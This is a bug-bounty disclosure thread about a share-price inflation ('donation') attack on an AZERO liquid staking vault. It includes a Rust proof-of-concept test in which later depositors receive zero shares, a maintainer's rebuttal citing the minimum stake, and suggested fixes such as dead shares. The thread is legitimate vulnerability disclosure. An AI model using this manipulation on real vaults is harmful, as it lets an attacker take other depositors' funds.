Risk of Share Manipulation

[hats-bug-reporter[bot]]

Github username: @0xmahdirostami Twitter username: 0xmahdirostami Submission hash (on-chain): 0x7f466a6dbb73fbd3535d61e7f2b40bf4c95ac4824aad29029186b0ea7db5e648 Severity: high

Description: Description: The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Impact: The attacker can profit from future users' deposits. While the late users will lose their funds to the attacker.

Scenario:

1. The attacker deposits 1 AZERO to mint 1 share.
2. The attacker transfers a large amount of AZERO to the agent nomination contract.
3. The attacker calls the compound function, which increases the staked amount and greatly inflates the share’s price.
4. Subsequent depositors must deposit an equivalent sum to avoid minting 0 shares. If they don't, their deposits accrue to the attacker who holds the inflated shares.

POC: add new setup2 function that just have one nominator for simplisity:

#[test]
    fn share_manipulation() -> Result<(), Box<dyn Error>> {
        let ctx = setup2().unwrap();
        let sess = ctx.sess;
        let (_, sess) = helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.alice, 1).unwrap();
        let (stake1, _unbond, mut sess) = helpers::query_nominator_balance(sess, &ctx.nominators[0]).unwrap();
        assert_eq!(stake1, 1); 
        sess.chain_api().add_tokens(ctx.nominators[0].clone(), 100_000_000e10 as u128);
        let mut sess = helpers::call_function(
            sess,
            &ctx.vault,
            &ctx.bob,
            String::from("compound"),
            None,
            None,
            helpers::transcoder_vault(),
        )
            .unwrap();
        let (_, sess) = helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.bob, 10_000_000).unwrap();
        let (shares, sess) = helpers::query_token_balance(sess, &ctx.share_token, &ctx.bob).unwrap();
        assert_eq!(shares, 0);
        let (azero, sess) = helpers::get_azero_from_shares(sess, &ctx.vault, 1).unwrap();
        assert_eq!(azero, 1);
        Ok(())
    }

As seen in the above code, by inflating the share price, Bob doesn't get any shares even though he staked a significant amount.

log:

thread 'tests::share_manipulation' panicked at lib.rs:264:9:
assertion `left == right` failed
  left: 999500000010000002
 right: 1

1 share is worth 999500000010000002.

Revised Code File (Optional):

To mitigate this, consider creating a mechanism to generate "dead shares" that are sent to a burn address or held in reserve. This can help in stabilizing the share price and preventing manipulation.

[0xmahdirostami]

The second option to mitigate the issue:

For the initial share issuance, mint a fixed number of shares, similar to refinance on near.: https://github.com/ref-finance/ref-contracts/blob/be5c0e33465c13a05dab6e5e9ff9f8af414e16a7/ref-exchange/src/simple_pool.rs#L146

        #[ink(message)]
        pub fn get_shares_from_azero(&self, azero: Balance) -> Balance {
            let total_pooled_ = self.data.total_pooled; // shadow
            if total_pooled_ == 0 {
                // This happens upon initial stake
                // Also known as 1:1 redemption ratio
-                azero
+               fix_amount
            } else {
                azero * self.get_total_shares() / total_pooled_
            }
        }

• These are just opinions.

[bgibers]

there's a couple issues with the test case that you presented after looking back through it

1) Minimum stake was never set in the test. The minimum stake is 10 AZERO 2) 10 AZERO is represented as 10e12 as u128 or 10000000000000 which would replace the 1 in this snippet:

 let (_, sess) = helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.alice, 1 <-------- here).unwrap();

So it would be expensive, almost unrealistic for someone to attempt this attack

[0xmahdirostami]

Thank you, yes, I overlooked minstake in the POC.

It would be beneficial if you could mint some dead shares, because in the unlikely scenario, if no one stakes for about batch_interval_delay, an attacker could unstake and exploit it.